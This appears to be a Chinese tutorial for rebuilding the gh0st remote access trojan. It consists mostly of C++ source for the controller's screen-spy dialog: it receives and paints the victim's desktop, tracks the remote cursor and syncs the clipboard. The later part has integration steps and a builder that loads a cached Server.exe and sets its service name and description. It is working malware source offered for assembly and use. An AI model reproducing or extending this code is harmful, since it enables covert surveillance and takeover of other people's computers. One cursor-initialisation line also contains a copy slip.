pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_SCAN, "隔行扫描算法(&S)");
pSysMenu->AppendMenu(MF_STRING, IDM_ALGORITHM_DIFF, "差异比较算法(&X)");
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_1, "1 位黑白(&A)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_GRAY, "4 位灰度(&B)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_4_COLOR, "4 位彩色(&C)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_GRAY, "8 位灰度(&D)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_8_COLOR, "8 位彩色(&E)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_16, "16位高彩(&F)");
pSysMenu->AppendMenu(MF_STRING, IDM_DEEP_32, "32位真彩(&G)");
pSysMenu->CheckMenuRadioItem(IDM_ALGORITHM_SCAN, IDM_ALGORITHM_DIFF, IDM_ALGORITHM_SCAN, MF_BYCOMMAND);
pSysMenu->CheckMenuRadioItem(IDM_DEEP_4_GRAY, IDM_DEEP_32, IDM_DEEP_8_COLOR, MF_BYCOMMAND);
}
// TODO: Add extra initialization here
CString str;
str.Format("\\\\%s %d * %d", m_IPAddress, m_lpbmi->bmiHeader.biWidth, m_lpbmi->bmiHeader.biHeight);
SetWindowText(str);
m_HScrollPos = 0;
m_VScrollPos = 0;
m_hRemoteCursor = LoadCursor(NULL, IDC_ARROW);
ICONINFO CursorInfo;
::GetIconInfo(m_hRemoteCursor, &CursorInfo);
if (CursorInfo.hbmMask != NULL)
::DeleteObject(CursorInfo.hbmMask);
if (CursorInfo.hbmColor != NULL)
::DeleteObject(CursorInfo.hbmColor);
m_dwCursor_xHotspot = CursorInfo.xHotspot;
m_dwCursor_yHotspot = CursorInfo.yHotspot;
m_RemoteCursorPos.x = 0;
m_RemoteCursorPos.x = 0;
m_bIsTraceCursor = false;
// 初始化窗口大小结构 这里的初始化就不讲解了,同服务端一样的位图的图像数据
//是我们分配好的缓冲区也就是说我们可以更改这个缓冲区里的数据来改变位图图像
m_hDC = ::GetDC(m_hWnd);
m_hMemDC = CreateCompatibleDC(m_hDC);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
SetScrollRange(SB_HORZ, 0, m_lpbmi->bmiHeader.biWidth);
SetScrollRange(SB_VERT, 0, m_lpbmi->bmiHeader.biHeight);
InitMMI();
SendNext();
return TRUE; // return TRUE unless you set the focus to a control
// 异常: OCX 属性页应返回 FALSE
}
void CScreenSpyDlg::InitMMI(void)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
int nBorderWidth = rectClient.left - rectWindow.left; // 边框宽
int nTitleWidth = rectClient.top - rectWindow.top; // 标题栏的高度
int nWidthAdd = nBorderWidth * 2 + GetSystemMetrics(SM_CYHSCROLL);
int nHeightAdd = nTitleWidth + nBorderWidth + GetSystemMetrics(SM_CYVSCROLL);
int nMinWidth = 400 + nWidthAdd;
int nMinHeight = 300 + nHeightAdd;
int nMaxWidth = m_lpbmi->bmiHeader.biWidth + nWidthAdd;
int nMaxHeight = m_lpbmi->bmiHeader.biHeight + nHeightAdd;
// 最小的Track尺寸
m_MMI.ptMinTrackSize.x = nMinWidth;
m_MMI.ptMinTrackSize.y = nMinHeight;
// 最大化时窗口的位置
m_MMI.ptMaxPosition.x = 1;
m_MMI.ptMaxPosition.y = 1;
// 窗口最大尺寸
m_MMI.ptMaxSize.x = nMaxWidth;
m_MMI.ptMaxSize.y = nMaxHeight;
// 最大的Track尺寸也要改变
m_MMI.ptMaxTrackSize.x = nMaxWidth;
m_MMI.ptMaxTrackSize.y = nMaxHeight;
}
void CScreenSpyDlg::SendNext(void)
{
BYTE bBuff = COMMAND_NEXT;
m_iocpServer->Send(m_pContext, &bBuff, 1);
}
CPP 中包含#include "…\common\macros.h"解决编译错误
void CScreenSpyDlg::OnGetMinMaxInfo(MINMAXINFO* lpMMI)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
// 如果m_MMI已经被赋值
if (m_MMI.ptMaxSize.x > 0)
memcpy((void *)lpMMI, &m_MMI, sizeof(MINMAXINFO));
CDialog::OnGetMinMaxInfo(lpMMI);
}
void CScreenSpyDlg::OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
{
// TODO: 在此添加消息处理程序代码和/或调用默认值
SCROLLINFO si;
int i;
si.cbSize = sizeof(SCROLLINFO);
si.fMask = SIF_ALL;
GetScrollInfo(SB_HORZ, &si);
switch (nSBCode)
{
case SB_LINEUP:
i = nPos - 1;
break;
case SB_LINEDOWN:
i = nPos + 1;
break;
case SB_THUMBPOSITION:
case SB_THUMBTRACK:
i = si.nTrackPos;
break;
default:
return;
}
i = max(i, si.nMin);
i = min(i, (int)(si.nMax - si.nPage + 1));
RECT rect;
GetClientRect(&rect);
if ((rect.right + i) > m_lpbmi->bmiHeader.biWidth)
i = m_lpbmi->bmiHeader.biWidth - rect.right;
InterlockedExchange((PLONG)&m_HScrollPos, i);
SetScrollPos(SB_HORZ, m_HScrollPos);
PostMessage(WM_PAINT);
CDialog::OnHScroll(nSBCode, nPos, pScrollBar);
}
void CScreenSpyDlg::OnPaint()
{
CPaintDC dc(this); // device context for painting
// TODO: 在此处添加消息处理程序代码
// 不为绘图消息调用 CDialog::OnPaint()
if (m_bIsFirst)
{
DrawTipString("Please wait - initial screen loading");
return;
}
//这里同样用我们讲过的api 不过他的作用可不仅仅是用来抓图,他还可以显示图像,
//为什么呢? 因为抓图,显示图,都是我们的片面想法,这个api的作用就是复制
//设备的缓冲区,将桌面设备缓冲区复制到我们的内存缓冲区,这个就是抓图,
//将内存缓冲区复制到设备缓冲区就是显示图了。。。。。。。。
BitBlt
(
m_hDC,
0,
0,
m_lpbmi->bmiHeader.biWidth,
m_lpbmi->bmiHeader.biHeight,
m_hMemDC,
m_HScrollPos,
m_VScrollPos,
SRCCOPY
);
// (BYTE)-1 = 255;
// Draw the cursor
//这里画一下鼠标的图像
if (m_bIsTraceCursor)
DrawIconEx(
m_hDC, // handle to device context
m_RemoteCursorPos.x - ((int) m_dwCursor_xHotspot) - m_HScrollPos,
m_RemoteCursorPos.y - ((int) m_dwCursor_yHotspot) - m_VScrollPos,
m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex), // handle to icon to draw
0,0, // width of the icon
0, // index of frame in animated cursor
NULL, // handle to background brush
DI_NORMAL | DI_COMPAT // icon-drawing flags
);
}
显示文字
void CScreenSpyDlg::DrawTipString(CString str)
{
RECT rect;
GetClientRect(&rect);
COLORREF bgcol = RGB(0x00, 0x00, 0x00);
COLORREF oldbgcol = SetBkColor(m_hDC, bgcol);
COLORREF oldtxtcol = SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
ExtTextOut(m_hDC, 0, 0, ETO_OPAQUE, &rect, NULL, 0, NULL);
DrawText (m_hDC, str, -1, &rect,
DT_SINGLELINE | DT_CENTER | DT_VCENTER);
SetBkColor(m_hDC, oldbgcol);
SetTextColor(m_hDC, oldtxtcol);
}
显示服务端发来的信息
void CScreenSpyDlg::OnReceiveComplete(void)
{
m_nCount++;
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
{
case TOKEN_FIRSTSCREEN:
DrawFirstScreen(); //这里显示第一帧图像 一会转到函数定义
break;
case TOKEN_NEXTSCREEN:
if (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == ALGORITHM_SCAN)
DrawNextScreenRect(); //这里是第二帧之后的数据了---
else
DrawNextScreenDiff(); //----当然这里有两种算法
break; //我们能转到DrawFirstScreen函数定义
case TOKEN_BITMAPINFO:
ResetScreen();
break;
case TOKEN_CLIPBOARD_TEXT:
UpdateLocalClipboard((char *)m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1);
break;
default:
// 传输发生异常数据
return;
}
}
void CScreenSpyDlg::DrawFirstScreen(void)
{
m_bIsFirst = false;
//这里也很简单就是得到服务端发来的数据 ,将他拷贝到HBITMAP的缓冲区中,这样一个图像就出现了
memcpy(m_lpScreenDIB, m_pContext->m_DeCompressionBuffer.GetBuffer(1), m_lpbmi->bmiHeader.biSizeImage);
//我们到OnPaint()函数
//OnPaint();
PostMessage(WM_PAINT);
}
void CScreenSpyDlg::DrawNextScreenDiff(void)
{
//这个函数也非常复杂 ,他不是直接画到屏幕上,而是更新一下变化部分的屏幕数据然后调用
//OnPaint画上去
// 根据鼠标是否移动和屏幕是否变化判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
POINT oldPoint;
memcpy(&oldPoint, &m_RemoteCursorPos, sizeof(POINT));
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
// 鼠标移动了
if (memcmp(&oldPoint, &m_RemoteCursorPos, sizeof(POINT)) != 0)
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 屏幕是否变化
if (dwBytes > 0)
bIsReDraw = true;
__asm
{
mov ebx, [dwBytes]
mov esi, [lpNextScreen]
jmp CopyEnd
CopyNextBlock:
mov edi, [lpFirstScreen]
lodsd // 把lpNextScreen的第一个双字节,放到eax中,就是DIB中改变区域的偏移
add edi, eax // lpFirstScreen偏移eax
lodsd // 把lpNextScreen的下一个双字节,放到eax中, 就是改变区域的大小
mov ecx, eax
sub ebx, 8 // ebx 减去 两个dword
sub ebx, ecx // ebx 减去DIB数据的大小
rep movsb
CopyEnd:
cmp ebx, 0 // 是否写入完毕
jnz CopyNextBlock
}
if (bIsReDraw) PostMessage(WM_PAINT);;
}
void CScreenSpyDlg::DrawNextScreenRect(void)
{
//这个函数也非常复杂他将传送来的数据 得到变化的区域然后画到屏幕上
// 根据鼠标是否移动和鼠标是否在变化的区域判断是否重绘鼠标,防止鼠标闪烁
bool bIsReDraw = false;
int nHeadLength = 1 + 1 + sizeof(POINT) + sizeof(BYTE); // 标识 + 算法 + 光标位置 + 光标类型索引
LPVOID lpFirstScreen = m_lpScreenDIB;
LPVOID lpNextScreen = m_pContext->m_DeCompressionBuffer.GetBuffer(nHeadLength);
DWORD dwBytes = m_pContext->m_DeCompressionBuffer.GetBufferLen() - nHeadLength;
// 保存上次鼠标所在的位置
RECT rectOldPoint;
::SetRect(&rectOldPoint, m_RemoteCursorPos.x, m_RemoteCursorPos.y,
m_RemoteCursorPos.x + m_dwCursor_xHotspot, m_RemoteCursorPos.y + m_dwCursor_yHotspot);
memcpy(&m_RemoteCursorPos, m_pContext->m_DeCompressionBuffer.GetBuffer(2), sizeof(POINT));
//
// 判断鼠标是否移动
if ((rectOldPoint.left != m_RemoteCursorPos.x) || (rectOldPoint.top !=
m_RemoteCursorPos.y))
bIsReDraw = true;
// 光标类型发生变化
int nOldCursorIndex = m_bCursorIndex;
m_bCursorIndex = m_pContext->m_DeCompressionBuffer.GetBuffer(10)[0];
if (nOldCursorIndex != m_bCursorIndex)
{
bIsReDraw = true;
if (m_bIsCtrl && !m_bIsTraceCursor)
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)m_CursorInfo.getCursorHandle(m_bCursorIndex == (BYTE)-1 ? 1 : m_bCursorIndex));
}
// 判断鼠标所在区域是否发生变化
DWORD dwOffset = 0;
while (dwOffset < dwBytes && !bIsReDraw)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
RECT rectDest;
if (IntersectRect(&rectDest, &rectOldPoint, lpRect))
bIsReDraw = true;
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
bIsReDraw = bIsReDraw && m_bIsTraceCursor;
//
dwOffset = 0;
while (dwOffset < dwBytes)
{
LPRECT lpRect = (LPRECT)((LPBYTE)lpNextScreen + dwOffset);
int nRectWidth = lpRect->right - lpRect->left;
int nRectHeight = lpRect->bottom - lpRect->top;
m_lpbmi_rect->bmiHeader.biWidth = nRectWidth;
m_lpbmi_rect->bmiHeader.biHeight = nRectHeight;
m_lpbmi_rect->bmiHeader.biSizeImage = (((m_lpbmi_rect->bmiHeader.biWidth * m_lpbmi_rect->bmiHeader.biBitCount + 31) & ~31) >> 3)
* m_lpbmi_rect->bmiHeader.biHeight;
StretchDIBits(m_hMemDC, lpRect->left, lpRect->top, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
// 不需要重绘鼠标的话,直接重绘变化的部分
if (!bIsReDraw)
StretchDIBits(m_hDC, lpRect->left - m_HScrollPos, lpRect->top - m_VScrollPos, nRectWidth,
nRectHeight, 0, 0, nRectWidth, nRectHeight, (LPBYTE)lpNextScreen + dwOffset + sizeof(RECT),
m_lpbmi_rect, DIB_RGB_COLORS, SRCCOPY);
dwOffset += sizeof(RECT) + m_lpbmi_rect->bmiHeader.biSizeImage;
}
if (bIsReDraw) PostMessage(WM_PAINT);;
}
void CScreenSpyDlg::ResetScreen(void)
{
UINT nBISize = m_pContext->m_DeCompressionBuffer.GetBufferLen() - 1;
if (m_lpbmi != NULL)
{
int nOldWidth = m_lpbmi->bmiHeader.biWidth;
int nOldHeight = m_lpbmi->bmiHeader.biHeight;
delete[] m_lpbmi;
delete[] m_lpbmi_rect;
m_lpbmi = (BITMAPINFO *) new BYTE[nBISize];
m_lpbmi_rect = (BITMAPINFO *) new BYTE[nBISize];
memcpy(m_lpbmi, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
memcpy(m_lpbmi_rect, m_pContext->m_DeCompressionBuffer.GetBuffer(1), nBISize);
DeleteObject(m_hFullBitmap);
m_hFullBitmap = CreateDIBSection(m_hDC, m_lpbmi, DIB_RGB_COLORS, &m_lpScreenDIB, NULL, NULL);
SelectObject(m_hMemDC, m_hFullBitmap);
memset(&m_MMI, 0, sizeof(MINMAXINFO));
InitMMI();
// 分辨率发生改变
if (nOldWidth != m_lpbmi->bmiHeader.biWidth || nOldHeight != m_lpbmi->bmiHeader.biHeight)
{
RECT rectClient, rectWindow;
GetWindowRect(&rectWindow);
GetClientRect(&rectClient);
ClientToScreen(&rectClient);
// 计算ClientRect与WindowRect的差距(标题栏,滚动条)
rectWindow.right = m_lpbmi->bmiHeader.biWidth + rectClient.left + (rectWindow.right - rectClient.right);
rectWindow.bottom = m_lpbmi->bmiHeader.biHeight + rectClient.top + (rectWindow.bottom - rectClient.bottom);
MoveWindow(&rectWindow);
}
}
}
void CScreenSpyDlg::UpdateLocalClipboard(char *buf, int len)
{
if (!::OpenClipboard(NULL))
return;
::EmptyClipboard();
HGLOBAL hglbCopy = GlobalAlloc(GPTR, len);
if (hglbCopy != NULL) {
// Lock the handle and copy the text to the buffer.
LPTSTR lptstrCopy = (LPTSTR) GlobalLock(hglbCopy);
memcpy(lptstrCopy, buf, len);
GlobalUnlock(hglbCopy); // Place the handle on the clipboard.
SetClipboardData(CF_TEXT, hglbCopy);
GlobalFree(hglbCopy);
}
CloseClipboard();
}
1.搜索桌面管理并添加代码:
BYTE bToken = COMMAND_SCREEN_SPY; //向服务端发送COMMAND_SCREEN_SPY CKernelManager::OnReceive搜之
SendSelectCommand(&bToken, sizeof(BYTE));
2.到void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
case TOKEN_BITMAPINFO: //
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
g_pConnectView->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
break;
剪贴出来
3.添加WM_OPENSCREENSPYDIALOG的自定义消息
(1)gh0st中搜索这个消息
(2)添加代码 ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
(3)添加afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
(4)添加
LRESULT CGh0stView::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
{
ClientContext *pContext = (ClientContext *)lParam;
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
// 设置父窗口为卓面
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
dlg->ShowWindow(SW_SHOW);
pContext->m_Dialog[0] = SCREENSPY_DLG;
pContext->m_Dialog[1] = (int)dlg;
return 0;
}
4.测试
5.到void CPCRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)中将
case SCREENSPY_DLG:
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
break;
剪贴出来
6.测试 崩溃了。。。。。。。。 哭了。。。。。。。。。。
大家可能会说 不是复制的代码么?? 怎么会有问题??
其实这个是编译器的问题,我们在绘制图形时调用了OnPaint这个其实是对话框的自绘函数,我们不应直接调用,而是应该发送自绘的
一个消息 替换所有 OnPaint();
7.测试。。。。。。没有问题。。。。。。。。等下 控制服务端的菜单呢?
8.重写PreTranslateMessage并添加代码
9.添加void SendCommand(MSG* pMsg)
10.添加WM_SysCommand消息
11.添加bool SaveSnapshot()
12.添加void SendLocalClipboard()
13.添加void SendResetAlgorithm(UINT nAlgorithm)
14.复制dot.cur文件到工程下 添加该资源
15.添加void SendResetScreen(int nBitCount)
16.测试。。。。。。。关闭。。。。。。。。。有崩溃。。。。哭了。。。。。。。。。
17.更改OnClose代码:
m_pContext->m_Dialog[0] = 0;
closesocket(m_pContext->m_Socket);
::ReleaseDC(m_hWnd, m_hDC);
DeleteObject(m_hFullBitmap);
if (m_lpbmi)
delete m_lpbmi;
m_lpbmi=NULL;
if (m_lpbmi_rect)
delete m_lpbmi_rect;
m_lpbmi_rect=NULL;
SetClassLong(m_hWnd, GCL_HCURSOR, (LONG)LoadCursor(NULL, IDC_ARROW));
m_bIsCtrl = false;
· 跟踪鼠标
· 色位调整
检查输入是否合法
对话框是否打开成功
打开exe文件
FileToMem(_T(".\\Cache\\Server.exe"));
void CBuild::FileToMem(wchar_t* pOldFilePathName)
{
this->d_FileSize = 0;
if(!m_File.Open(pOldFilePathName,CFile::modeRead))
{
MessageBox(_T("无法载入配置文件"),_T("提示"),MB_OK|MB_ICONWARNING);
return;
}
//得到原文件大小
d_FileSize = m_File.GetLength();
//读取原文件
//BYTE* pFileData = NULL;
this->pFileData = NULL;
this->pFileData = new BYTE[(UINT)d_FileSize];
m_File.Read(this->pFileData,(UINT)d_FileSize);
m_File.Close();
}
搜索信息
配置字符串
服务名
服务显示名
描述信息
C+F5 不调试运行
需要把cache 目录放到工程目录下
这里的 server.exe
生成后
工程目录下debug
双击这个exe
没有cache文件 会提示无法载入配置文件
使用宏调试
定位堆栈出错位置
删除注册表里的内容(不包含宿主Service)